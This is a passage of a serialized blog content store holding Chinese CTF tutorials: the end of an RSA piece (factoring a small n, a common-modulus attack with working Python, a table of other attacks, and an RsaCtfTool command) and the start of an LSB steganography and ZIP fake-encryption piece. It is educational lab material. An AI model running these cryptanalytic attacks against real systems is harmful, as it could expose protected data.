65\n",[26,10782,10780],{"__ignoreMap":36},[15,10784,10785,10786,10789],{},"攻击者只有 ",[26,10787,10788],{},"(n=3233, e=17, c=2790)","，没有 d。要解密，第一步就是分解 n。",[10,10791,10793],{"id":10792},"五核心步骤-2小-n-分解","五、核心步骤 2：小 n 分解",[15,10795,10796,10798],{},[333,10797,335],{},"：拿到公钥后第一步永远是\"尝试分解 n\"——一旦分解成功，私钥直接可算。",[15,10800,10801,10803],{},[333,10802,341],{},"：n 小 → 本地工具直接分解；n 大 → 先查 FactorDB 是否有人分解过。分解出 p、q 后按公式算出 d 解密。",[355,10805,10807],{"id":10806},"_51-用-sympy-分解","5.1 用 sympy 分解",[31,10809,10811],{"className":841,"code":10810,"language":843,"meta":36,"style":36},"from sympy import factorint\n\nprint(factorint(3233))\n",[26,10812,10813,10818,10822],{"__ignoreMap":36},[40,10814,10815],{"class":42,"line":43},[40,10816,10817],{},"from sympy import factorint\n",[40,10819,10820],{"class":42,"line":49},[40,10821,59],{"emptyLinePlaceholder":58},[40,10823,10824],{"class":42,"line":55},[40,10825,10826],{},"print(factorint(3233))\n",[15,10828,923],{},[31,10830,10833],{"className":10831,"code":10832,"language":380,"meta":36},[378],"{53: 1, 61: 1}\n",[26,10834,10832],{"__ignoreMap":36},[15,10836,10837,10838,307],{},"得到 ",[26,10839,10840],{},"p=53, q=61",[355,10842,10844],{"id":10843},"_52-完整解密验证公式","5.2 完整解密（验证公式）",[15,10846,10847,10849],{},[333,10848,341],{},"：分解得到 p、q → 算 φ(n) → 算 d → pow(c,d,n) → long_to_bytes 转回文本。",[31,10851,10853],{"className":841,"code":10852,"language":843,"meta":36,"style":36},"from Crypto.Util.number import long_to_bytes\n# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n\nn = 3233\ne = 17\nc = 2790\np, q = 53, 61\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nm = pow(c, d, n)\n# 解密：m = c^d mod n。\n\nprint(\"m =\", m)\nprint(long_to_bytes(m))\n# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[26,10854,10855,10860,10865,10869,10874,10879,10884,10889,10893,10897,10901,10906,10911,10915,10920,10925,10930],{"__ignoreMap":36},[40,10856,10857],{"class":42,"line":43},[40,10858,10859],{},"from Crypto.Util.number import long_to_bytes\n",[40,10861,10862],{"class":42,"line":49},[40,10863,10864],{},"# long_to_bytes(x)：把大整数转成字节串（高位在前），用于查看解密出的文本。\n",[40,10866,10867],{"class":42,"line":55},[40,10868,59],{"emptyLinePlaceholder":58},[40,10870,10871],{"class":42,"line":62},[40,10872,10873],{},"n = 3233\n",[40,10875,10876],{"class":42,"line":68},[40,10877,10878],{},"e = 17\n",[40,10880,10881],{"class":42,"line":74},[40,10882,10883],{},"c = 2790\n",[40,10885,10886],{"class":42,"line":80},[40,10887,10888],{},"p, q = 53, 61\n",[40,10890,10891],{"class":42,"line":86},[40,10892,59],{"emptyLinePlaceholder":58},[40,10894,10895],{"class":42,"line":92},[40,10896,10710],{},[40,10898,10899],{"class":42,"line":98},[40,10900,10720],{},[40,10902,10903],{"class":42,"line":104},[40,10904,10905],{},"m = pow(c, d, n)\n",[40,10907,10908],{"class":42,"line":110},[40,10909,10910],{},"# 解密：m = c^d mod n。\n",[40,10912,10913],{"class":42,"line":116},[40,10914,59],{"emptyLinePlaceholder":58},[40,10916,10917],{"class":42,"line":122},[40,10918,10919],{},"print(\"m =\", m)\n",[40,10921,10922],{"class":42,"line":128},[40,10923,10924],{},"print(long_to_bytes(m))\n",[40,10926,10927],{"class":42,"line":134},[40,10928,10929],{},"# 65 对应 ASCII 字符 'A'，说明这个最小例子只能承载一个字节的明文；\n",[40,10931,10932],{"class":42,"line":140},[40,10933,10934],{},"# 真实题目的 n 足够大，能装下整个 flag，方法完全一样。\n",[15,10936,923],{},[31,10938,10941],{"className":10939,"code":10940,"language":380,"meta":36},[378],"m = 65\nb'A'\n",[26,10942,10940],{"__ignoreMap":36},[15,10944,10945,10948,10949,10951],{},[26,10946,10947],{},"65"," 对应的 ASCII 字符是 ",[26,10950,2899],{},"。真实的明文是 flag 对应的长整数，但解密公式完全相同。",[355,10953,10955],{"id":10954},"_53-用-factordb-查","5.3 用 FactorDB 查",[15,10957,10958,10959,10963],{},"如果 n 太大本地分解不动，去 ",[3474,10960,10961],{"href":10961,"rel":10962},"https://factordb.com",[3478]," 粘贴 n 查询，或：",[31,10965,10967],{"className":841,"code":10966,"language":843,"meta":36,"style":36},"from factordb.factordb import FactorDB\n\nf = FactorDB(n)\nf.connect()\np, q = f.get_factor_list()\n",[26,10968,10969,10974,10978,10983,10988],{"__ignoreMap":36},[40,10970,10971],{"class":42,"line":43},[40,10972,10973],{},"from factordb.factordb import FactorDB\n",[40,10975,10976],{"class":42,"line":49},[40,10977,59],{"emptyLinePlaceholder":58},[40,10979,10980],{"class":42,"line":55},[40,10981,10982],{},"f = FactorDB(n)\n",[40,10984,10985],{"class":42,"line":62},[40,10986,10987],{},"f.connect()\n",[40,10989,10990],{"class":42,"line":68},[40,10991,10992],{},"p, q = f.get_factor_list()\n",[10,10994,10996],{"id":10995},"六核心步骤-3共模攻击","六、核心步骤 3：共模攻击",[355,10998,11000],{"id":10999},"_61-场景","6.1 场景",[15,11002,11003,11004,11006,11007,11010],{},"同一个 ",[26,11005,10618],{},"、两个互质的 ",[26,11008,11009],{},"e1, e2","、同一明文：",[31,11012,11015],{"className":11013,"code":11014,"language":380,"meta":36},[378],"c1 = m^e1 mod n\nc2 = m^e2 mod n\n",[26,11016,11014],{"__ignoreMap":36},[355,11018,11020],{"id":11019},"_62-数学原理","6.2 数学原理",[15,11022,11023,11025],{},[333,11024,335],{},"：理解为什么\"两个密文能拼出明文\"。",[15,11027,11028,11030],{},[333,11029,341],{},"：扩展欧几里得求出 a、b 使 a×e1+b×e2=1；把两个密文分别取 a、b 次方再相乘，指数恰好合并成 1，明文就还原了。验证方式：恢复结果与原始 m 相等。",[15,11032,11033,11034,11037],{},"扩展欧几里得算法求出 ",[26,11035,11036],{},"a, b"," 使：",[31,11039,11042],{"className":11040,"code":11041,"language":380,"meta":36},[378],"a × e1 + b × e2 = 1\n",[26,11043,11041],{"__ignoreMap":36},[15,11045,11046],{},"则：",[31,11048,11051],{"className":11049,"code":11050,"language":380,"meta":36},[378],"c1^a × c2^b\n= m^(a×e1) × m^(b×e2)\n= m^(a×e1 + b×e2)\n= m^1 = m (mod n)\n",[26,11052,11050],{"__ignoreMap":36},[355,11054,11056],{"id":11055},"_63-完整代码","6.3 完整代码",[31,11058,11060],{"className":841,"code":11059,"language":843,"meta":36,"style":36},"def egcd(a, b):\n    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n    if b == 0:\n        return a, 1, 0\n    g, x, y = egcd(b, a % b)\n    return g, y, x - (a // b) * y\n\nn = 3233\ne1, e2 = 17, 19\nm = 65\nc1 = pow(m, e1, n)      # 2790：e1 加密结果\nc2 = pow(m, e2, n)      # 232：e2 加密结果\n\n_, a, b = egcd(e1, e2)\n# 忽略第一个返回值（gcd=1），取 a、b。\nprint(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n\n# 负指数要先取模逆元\nif a \u003C 0:\n    c1 = pow(pow(c1, -1, n), -a, n)\n    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\nelse:\n    c1 = pow(c1, a, n)\nif b \u003C 0:\n    c2 = pow(pow(c2, -1, n), -b, n)\nelse:\n    c2 = pow(c2, b, n)\n\nrecovered = (c1 * c2) % n\n# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\nprint(\"恢复 m =\", recovered)\n# 预期 65，与原始 m 相等，攻击成功。\n",[26,11061,11062,11067,11072,11077,11082,11087,11092,11096,11100,11105,11109,11114,11119,11123,11128,11133,11138,11143,11147,11152,11157,11162,11167,11172,11177,11182,11187,11191,11196,11200,11205,11210,11215],{"__ignoreMap":36},[40,11063,11064],{"class":42,"line":43},[40,11065,11066],{},"def egcd(a, b):\n",[40,11068,11069],{"class":42,"line":49},[40,11070,11071],{},"    # 扩展欧几里得算法：返回 (gcd, x, y)，满足 a*x + b*y = gcd(a,b)。\n",[40,11073,11074],{"class":42,"line":55},[40,11075,11076],{},"    if b == 0:\n",[40,11078,11079],{"class":42,"line":62},[40,11080,11081],{},"        return a, 1, 0\n",[40,11083,11084],{"class":42,"line":68},[40,11085,11086],{},"    g, x, y = egcd(b, a % b)\n",[40,11088,11089],{"class":42,"line":74},[40,11090,11091],{},"    return g, y, x - (a // b) * y\n",[40,11093,11094],{"class":42,"line":80},[40,11095,59],{"emptyLinePlaceholder":58},[40,11097,11098],{"class":42,"line":86},[40,11099,10873],{},[40,11101,11102],{"class":42,"line":92},[40,11103,11104],{},"e1, e2 = 17, 19\n",[40,11106,11107],{"class":42,"line":98},[40,11108,10734],{},[40,11110,11111],{"class":42,"line":104},[40,11112,11113],{},"c1 = pow(m, e1, n)      # 2790：e1 加密结果\n",[40,11115,11116],{"class":42,"line":110},[40,11117,11118],{},"c2 = pow(m, e2, n)      # 232：e2 加密结果\n",[40,11120,11121],{"class":42,"line":116},[40,11122,59],{"emptyLinePlaceholder":58},[40,11124,11125],{"class":42,"line":122},[40,11126,11127],{},"_, a, b = egcd(e1, e2)\n",[40,11129,11130],{"class":42,"line":128},[40,11131,11132],{},"# 忽略第一个返回值（gcd=1），取 a、b。\n",[40,11134,11135],{"class":42,"line":134},[40,11136,11137],{},"print(\"a =\", a, \"b =\", b, \"a*e1+b*e2 =\", a*e1 + b*e2)\n",[40,11139,11140],{"class":42,"line":140},[40,11141,11142],{},"# 应输出 a=9, b=-8，验证 9×17 + (-8)×19 = 1。\n",[40,11144,11145],{"class":42,"line":146},[40,11146,59],{"emptyLinePlaceholder":58},[40,11148,11149],{"class":42,"line":152},[40,11150,11151],{},"# 负指数要先取模逆元\n",[40,11153,11154],{"class":42,"line":158},[40,11155,11156],{},"if a \u003C 0:\n",[40,11158,11159],{"class":42,"line":164},[40,11160,11161],{},"    c1 = pow(pow(c1, -1, n), -a, n)\n",[40,11163,11164],{"class":42,"line":170},[40,11165,11166],{},"    # pow(c1, -1, n)：c1 在模 n 下的逆元；再取 -a 次方（-a 为正）。\n",[40,11168,11169],{"class":42,"line":176},[40,11170,11171],{},"else:\n",[40,11173,11174],{"class":42,"line":182},[40,11175,11176],{},"    c1 = pow(c1, a, n)\n",[40,11178,11179],{"class":42,"line":187},[40,11180,11181],{},"if b \u003C 0:\n",[40,11183,11184],{"class":42,"line":193},[40,11185,11186],{},"    c2 = pow(pow(c2, -1, n), -b, n)\n",[40,11188,11189],{"class":42,"line":199},[40,11190,11171],{},[40,11192,11193],{"class":42,"line":205},[40,11194,11195],{},"    c2 = pow(c2, b, n)\n",[40,11197,11198],{"class":42,"line":211},[40,11199,59],{"emptyLinePlaceholder":58},[40,11201,11202],{"class":42,"line":217},[40,11203,11204],{},"recovered = (c1 * c2) % n\n",[40,11206,11207],{"class":42,"line":223},[40,11208,11209],{},"# c1^a × c2^b = m^(a·e1 + b·e2) = m^1 = m (mod n)。\n",[40,11211,11212],{"class":42,"line":229},[40,11213,11214],{},"print(\"恢复 m =\", recovered)\n",[40,11216,11217],{"class":42,"line":235},[40,11218,11219],{},"# 预期 65，与原始 m 相等，攻击成功。\n",[15,11221,923],{},[31,11223,11226],{"className":11224,"code":11225,"language":380,"meta":36},[378],"a = 9 b = -8 a*e1+b*e2 = 1\n恢复 m = 65\n",[26,11227,11225],{"__ignoreMap":36},[10,11229,11231],{"id":11230},"七其他常见攻击速查","七、其他常见攻击速查",[955,11233,11234,11244],{},[958,11235,11236],{},[961,11237,11238,11241],{},[964,11239,11240],{},"场景",[964,11242,11243],{},"攻击",[974,11245,11246,11264,11272,11280,11288],{},[961,11247,11248,11257],{},[979,11249,11250,11253,11254],{},[26,11251,11252],{},"e=3"," 且 ",[26,11255,11256],{},"m^e \u003C n",[979,11258,11259,11260,11263],{},"直接开立方根（",[26,11261,11262],{},"gmpy2.iroot(c, 3)","）",[961,11265,11266,11269],{},[979,11267,11268],{},"同一明文发给 3 个不同 n",[979,11270,11271],{},"Håstad 广播攻击（中国剩余定理 + 开方）",[961,11273,11274,11277],{},[979,11275,11276],{},"e 特别大（d 很小）",[979,11278,11279],{},"Wiener 攻击（连分数）",[961,11281,11282,11285],{},[979,11283,11284],{},"p、q 很接近",[979,11286,11287],{},"Fermat 分解（平方差）",[961,11289,11290,11293],{},[979,11291,11292],{},"泄露 dp",[979,11294,11295,11296],{},"枚举 k，",[26,11297,11298],{},"p = (e*dp-1)//k + 1",[10,11300,3007],{"id":3006},[955,11302,11303,11313],{},[958,11304,11305],{},[961,11306,11307,11309,11311],{},[964,11308,966],{},[964,11310,3018],{},[964,11312,3021],{},[974,11314,11315,11333,11349],{},[961,11316,11317,11320,11331],{},[979,11318,11319],{},"pycryptodome",[979,11321,11322,1013,11325,1013,11328],{},[26,11323,11324],{},"long_to_bytes",[26,11326,11327],{},"inverse",[26,11329,11330],{},"pow(m,e,n)",[979,11332,3050],{},[961,11334,11335,11338,11344],{},[979,11336,11337],{},"sympy",[979,11339,11340,11343],{},[26,11341,11342],{},"factorint"," 分解",[979,11345,11346],{},[26,11347,11348],{},"factorint(3233)",[961,11350,11351,11354,11357],{},[979,11352,11353],{},"RsaCtfTool",[979,11355,11356],{},"自动尝试多种攻击、从公钥文件读取",[979,11358,11359],{},[26,11360,11361],{},"./RsaCtfTool.py -n N -e E --uncipher C --attack all",[15,11363,11364,11365,11370],{},"FactorDB（",[3474,11366,11369],{"href":11367,"rel":11368},"https://factordb.com%EF%BC%89%E7%94%A8%E4%BA%8E%E6%9F%A5",[3478],"https://factordb.com）用于查"," n 的已知分解。",[10,11372,10470],{"id":10469},[15,11374,2149],{},[31,11376,11379],{"className":11377,"code":11378,"language":380,"meta":36},[378],"n = 1000000016000000063\ne = 65537\nc = 856868007642616233\n",[26,11380,11378],{"__ignoreMap":36},[15,11382,11383],{},"说明：真实题目的 n 有数百位，这里为了能在本地秒级分解，使用 19 位 n；分解方法完全一致。",[355,11385,11387],{"id":11386},"第一步分解","第一步：分解",[15,11389,11390,11392],{},[333,11391,341],{},"：n 只有 19 位，sympy 的 factorint 用试除/快速算法秒级分解；若 n 更大，改用 yafu 或查 FactorDB。",[31,11394,11396],{"className":841,"code":11395,"language":843,"meta":36,"style":36},"from sympy import factorint\nprint(factorint(1000000016000000063))\n",[26,11397,11398,11402],{"__ignoreMap":36},[40,11399,11400],{"class":42,"line":43},[40,11401,10817],{},[40,11403,11404],{"class":42,"line":49},[40,11405,11406],{},"print(factorint(1000000016000000063))\n",[15,11408,923],{},[31,11410,11413],{"className":11411,"code":11412,"language":380,"meta":36},[378],"{1000000007: 1, 1000000009: 1}\n",[26,11414,11412],{"__ignoreMap":36},[355,11416,11418],{"id":11417},"第二步解密","第二步：解密",[15,11420,11421,11423,11424,11427],{},[333,11422,341],{},"：与 5.2 完全相同的公式，只是参数换成实际值；输出 ",[26,11425,11426],{},"b'flag'"," 说明解密成功。",[31,11429,11431],{"className":841,"code":11430,"language":843,"meta":36,"style":36},"from Crypto.Util.number import long_to_bytes\n\nn = 1000000016000000063\ne = 65537\nc = 856868007642616233\np, q = 1000000007, 1000000009\n\nphi = (p - 1) * (q - 1)\nd = pow(e, -1, phi)\nprint(long_to_bytes(pow(c, d, n)))\n",[26,11432,11433,11437,11441,11446,11451,11456,11461,11465,11469,11473],{"__ignoreMap":36},[40,11434,11435],{"class":42,"line":43},[40,11436,10859],{},[40,11438,11439],{"class":42,"line":49},[40,11440,59],{"emptyLinePlaceholder":58},[40,11442,11443],{"class":42,"line":55},[40,11444,11445],{},"n = 1000000016000000063\n",[40,11447,11448],{"class":42,"line":62},[40,11449,11450],{},"e = 65537\n",[40,11452,11453],{"class":42,"line":68},[40,11454,11455],{},"c = 856868007642616233\n",[40,11457,11458],{"class":42,"line":74},[40,11459,11460],{},"p, q = 1000000007, 1000000009\n",[40,11462,11463],{"class":42,"line":80},[40,11464,59],{"emptyLinePlaceholder":58},[40,11466,11467],{"class":42,"line":86},[40,11468,10710],{},[40,11470,11471],{"class":42,"line":92},[40,11472,10720],{},[40,11474,11475],{"class":42,"line":98},[40,11476,11477],{},"print(long_to_bytes(pow(c, d, n)))\n",[15,11479,923],{},[31,11481,11484],{"className":11482,"code":11483,"language":380,"meta":36},[378],"b'flag'\n",[26,11485,11483],{"__ignoreMap":36},[355,11487,11489],{"id":11488},"第三步工具验证","第三步：工具验证",[31,11491,11493],{"className":267,"code":11492,"language":269,"meta":36,"style":36},"./RsaCtfTool.py -n 1000000016000000063 -e 65537 --uncipher 856868007642616233 --attack all\n",[26,11494,11495],{"__ignoreMap":36},[40,11496,11497,11500,11502,11505,11507,11510,11513,11516,11519],{"class":42,"line":43},[40,11498,11499],{"class":276},"./RsaCtfTool.py",[40,11501,415],{"class":280},[40,11503,11504],{"class":280}," 1000000016000000063",[40,11506,4558],{"class":280},[40,11508,11509],{"class":280}," 65537",[40,11511,11512],{"class":280}," --uncipher",[40,11514,11515],{"class":280}," 856868007642616233",[40,11517,11518],{"class":280}," --attack",[40,11520,11521],{"class":284}," all\n",[10,11523,3199],{"id":3198},[15,11525,11526,11527,11530],{},"RSA 解题顺序：",[333,11528,11529],{},"先查 n 能否分解（FactorDB/sympy）→ 能分解就按公式解密 → 不能分解就检查共模、低指数、Wiener、Fermat 等结构性错误","。每个攻击对应一种\"实现错误\"，识别特征后套模板即可。",[1098,11532,4216],{},{"title":36,"searchDepth":49,"depth":49,"links":11534},[11535,11536,11537,11538,11539,11540,11541,11542,11543,11544],{"id":10582,"depth":55,"text":10583},{"id":1195,"depth":55,"text":1196},{"id":10646,"depth":55,"text":10647},{"id":10674,"depth":55,"text":10675},{"id":10792,"depth":55,"text":10793},{"id":10995,"depth":55,"text":10996},{"id":11230,"depth":55,"text":11231},{"id":3006,"depth":55,"text":3007},{"id":10469,"depth":55,"text":10470},{"id":3198,"depth":55,"text":3199},"RSA的DH 与公钥密码学背景、数论公式与小数字手算、小 n 分解解密、共模攻击的数学推导与代码。",{"date":1115,"image":1116,"alt":11547,"tags":11548,"published":58},"RSA 深入实战",[1119,4232,11549,1122],"rsa","/blogs/ctf-crypto-rsa-deep-dive",{"title":10577,"description":11545},"blogs/19. ctf-crypto-rsa-deep-dive","cUGS-VePAPrg-FWNvg-OJ725RRZNhFybQstAdcvf9qo",{"id":11555,"title":11556,"body":11557,"description":12567,"extension":1113,"meta":12568,"navigation":58,"ogImage":3229,"path":12572,"seo":12573,"stem":12574,"__hash__":12575},"content/blogs/20. ctf-misc-stego-forensics-deep-dive.md","隐写与取证深入实战：LSB 隐写与 ZIP 伪加密",{"type":7,"value":11558,"toc":12557},[11559,11563,11569,11571,11605,11609,11613,11616,11622,11626,11631,11778,11788,11792,11797,11802,11905,11907,11912,11916,11929,11935,11939,11944,11949,11953,11956,11962,11969,11973,11978,12016,12018,12024,12027,12033,12037,12042,12099,12102,12108,12111,12149,12151,12157,12160,12164,12173,12228,12230,12236,12243,12247,12252,12257,12260,12358,12365,12371,12382,12384,12449,12453,12458,12463,12467,12469,12509,12512,12517,12523,12538,12541,12543,12554],[10,11560,11562],{"id":11561},"一现实背景文件头与压缩包","一、现实背景：文件头与压缩包",[15,11564,11565,11566,11568],{},"文件真实类型由文件头决定。ZIP 文件头是 ",[26,11567,4313],{},"，其内部结构里有\"加密标志位\"，出题人可以把标志位置 1 制造\"伪加密\"（数据其实没加密）。图片取证中，LSB 隐写把秘密藏在像素最低位。本文完整实现这两种技术。",[10,11570,1196],{"id":1195},[31,11572,11574],{"className":267,"code":11573,"language":269,"meta":36,"style":36},"apt install file binutils binwalk\npip3 install pillow\ngem install zsteg\n",[26,11575,11576,11589,11597],{"__ignoreMap":36},[40,11577,11578,11580,11582,11584,11586],{"class":42,"line":43},[40,11579,642],{"class":276},[40,11581,645],{"class":284},[40,11583,1213],{"class":284},[40,11585,1216],{"class":284},[40,11587,11588],{"class":284}," binwalk\n",[40,11590,11591,11593,11595],{"class":42,"line":49},[40,11592,2414],{"class":276},[40,11594,645],{"class":284},[40,11596,4353],{"class":284},[40,11598,11599,11601,11603],{"class":42,"line":55},[40,11600,4984],{"class":276},[40,11602,645],{"class":284},[40,11604,4989],{"class":284},[10,11606,11608],{"id":11607},"三核心技能-1lsb-隐写完整实现","三、核心技能 1：LSB 隐写（完整实现）",[355,11610,11612],{"id":11611},"_31-原理","3.1 原理",[15,11614,11615],{},"像素每个通道 1 字节（0-255）。把字节最低位替换成秘密比特，值最多变化 1，肉眼不可察觉：",[31,11617,11620],{"className":11618,"code":11619,"language":380,"meta":36},[378],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101   ← 最低位写入 1,0,1\n",[26,11621,11619],{"__ignoreMap":36},[355,11623,11625],{"id":11624},"_32-隐藏出题人视角","3.2 隐藏（出题人视角）",[15,11627,11628,11630],{},[333,11629,335],{},"：理解\"把秘密写进像素最低位\"的实现细节，才能反过来写出提取脚本。",[31,11632,11634],{"className":841,"code":11633,"language":843,"meta":36,"style":36},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\nbits = ''.join(f'{b:08b}' for b in data)\n# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\npixels = list(img.getdata())\n# getdata()：取出所有像素，每项是 (r,g,b)。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道，同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n    new_pixels.append((r, g, b))\n\nimg.putdata(new_pixels)\n# putdata()：把修改后的像素写回图片。\nimg.save('hidden.png')\n# save()：保存为 PNG。\nprint(\"已生成 hidden.png\")\n",[26,11635,11636,11640,11645,11649,11653,11658,11662,11666,11670,11675,11679,11684,11688,11693,11697,11701,11705,11709,11713,11717,11722,11726,11730,11735,11739,11743,11748,11752,11756,11760,11765,11769,11774],{"__ignoreMap":36},[40,11637,11638],{"class":42,"line":43},[40,11639,4624],{},[40,11641,11642],{"class":42,"line":49},[40,11643,11644],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[40,11646,11647],{"class":42,"line":55},[40,11648,59],{"emptyLinePlaceholder":58},[40,11650,11651],{"class":42,"line":62},[40,11652,4638],{},[40,11654,11655],{"class":42,"line":68},[40,11656,11657],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[40,11659,11660],{"class":42,"line":74},[40,11661,4653],{},[40,11663,11664],{"class":42,"line":80},[40,11665,59],{"emptyLinePlaceholder":58},[40,11667,11668],{"class":42,"line":86},[40,11669,4662],{},[40,11671,11672],{"class":42,"line":92},[40,11673,11674],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[40,11676,11677],{"class":42,"line":98},[40,11678,4677],{},[40,11680,11681],{"class":42,"line":104},[40,11682,11683],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[40,11685,11686],{"class":42,"line":110},[40,11687,4692],{},[40,11689,11690],{"class":42,"line":116},[40,11691,11692],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[40,11694,11695],{"class":42,"line":122},[40,11696,59],{"emptyLinePlaceholder":58},[40,11698,11699],{"class":42,"line":128},[40,11700,4706],{},[40,11702,11703],{"class":42,"line":134},[40,11704,4711],{},[40,11706,11707],{"class":42,"line":140},[40,11708,4716],{},[40,11710,11711],{"class":42,"line":146},[40,11712,4721],{},[40,11714,11715],{"class":42,"line":152},[40,11716,4726],{},[40,11718,11719],{"class":42,"line":158},[40,11720,11721],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[40,11723,11724],{"class":42,"line":164},[40,11725,4721],{},[40,11727,11728],{"class":42,"line":170},[40,11729,4745],{},[40,11731,11732],{"class":42,"line":176},[40,11733,11734],{},"        # 绿色通道，同样处理。\n",[40,11736,11737],{"class":42,"line":182},[40,11738,4721],{},[40,11740,11741],{"class":42,"line":187},[40,11742,4759],{},[40,11744,11745],{"class":42,"line":193},[40,11746,11747],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[40,11749,11750],{"class":42,"line":199},[40,11751,4769],{},[40,11753,11754],{"class":42,"line":205},[40,11755,59],{"emptyLinePlaceholder":58},[40,11757,11758],{"class":42,"line":211},[40,11759,4783],{},[40,11761,11762],{"class":42,"line":217},[40,11763,11764],{},"# putdata()：把修改后的像素写回图片。\n",[40,11766,11767],{"class":42,"line":223},[40,11768,4793],{},[40,11770,11771],{"class":42,"line":229},[40,11772,11773],{},"# save()：保存为 PNG。\n",[40,11775,11776],{"class":42,"line":235},[40,11777,4804],{},[15,11779,11780,11782,11783,4814,11785,11787],{},[26,11781,4809],{}," 清零最低位（",[26,11784,4813],{},[26,11786,4817],{}," 写入。",[355,11789,11791],{"id":11790},"_33-提取解题视角","3.3 提取（解题视角）",[15,11793,11794,11796],{},[333,11795,335],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,11798,11799,11801],{},[333,11800,341],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[31,11803,11805],{"className":841,"code":11804,"language":843,"meta":36,"style":36},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[26,11806,11807,11811,11815,11819,11824,11828,11832,11836,11841,11845,11849,11853,11858,11862,11866,11870,11875,11879,11884,11888,11892,11896,11900],{"__ignoreMap":36},[40,11808,11809],{"class":42,"line":43},[40,11810,4624],{},[40,11812,11813],{"class":42,"line":49},[40,11814,59],{"emptyLinePlaceholder":58},[40,11816,11817],{"class":42,"line":55},[40,11818,4850],{},[40,11820,11821],{"class":42,"line":62},[40,11822,11823],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[40,11825,11826],{"class":42,"line":68},[40,11827,4865],{},[40,11829,11830],{"class":42,"line":74},[40,11831,4870],{},[40,11833,11834],{"class":42,"line":80},[40,11835,4875],{},[40,11837,11838],{"class":42,"line":86},[40,11839,11840],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[40,11842,11843],{"class":42,"line":92},[40,11844,59],{"emptyLinePlaceholder":58},[40,11846,11847],{"class":42,"line":98},[40,11848,4894],{},[40,11850,11851],{"class":42,"line":104},[40,11852,4899],{},[40,11854,11855],{"class":42,"line":110},[40,11856,11857],{},"    # 每 8 个比特一组，步长为 8。\n",[40,11859,11860],{"class":42,"line":116},[40,11861,4909],{},[40,11863,11864],{"class":42,"line":122},[40,11865,4914],{},[40,11867,11868],{"class":42,"line":128},[40,11869,4919],{},[40,11871,11872],{"class":42,"line":134},[40,11873,11874],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[40,11876,11877],{"class":42,"line":140},[40,11878,4934],{},[40,11880,11881],{"class":42,"line":146},[40,11882,11883],{},"        # 字节 0 是隐藏时追加的结束符。\n",[40,11885,11886],{"class":42,"line":152},[40,11887,3646],{},[40,11889,11890],{"class":42,"line":158},[40,11891,4948],{},[40,11893,11894],{"class":42,"line":164},[40,11895,59],{"emptyLinePlaceholder":58},[40,11897,11898],{"class":42,"line":170},[40,11899,4957],{},[40,11901,11902],{"class":42,"line":176},[40,11903,11904],{},"# decode()：字节串解码成字符串。\n",[15,11906,923],{},[31,11908,11910],{"className":11909,"code":4968,"language":380,"meta":36},[378],[26,11911,4968],{"__ignoreMap":36},[355,11913,11915],{"id":11914},"_34-工具验证","3.4 工具验证",[31,11917,11919],{"className":267,"code":11918,"language":269,"meta":36,"style":36},"zsteg -a hidden.png\n",[26,11920,11921],{"__ignoreMap":36},[40,11922,11923,11925,11927],{"class":42,"line":43},[40,11924,4994],{"class":276},[40,11926,4997],{"class":280},[40,11928,4383],{"class":284},[15,11930,11931,11932,307],{},"预期输出中包含 ",[26,11933,11934],{},"flag{lsb_steganography}",[10,11936,11938],{"id":11937},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11940,11941,11943],{},[333,11942,335],{},"：理解 ZIP 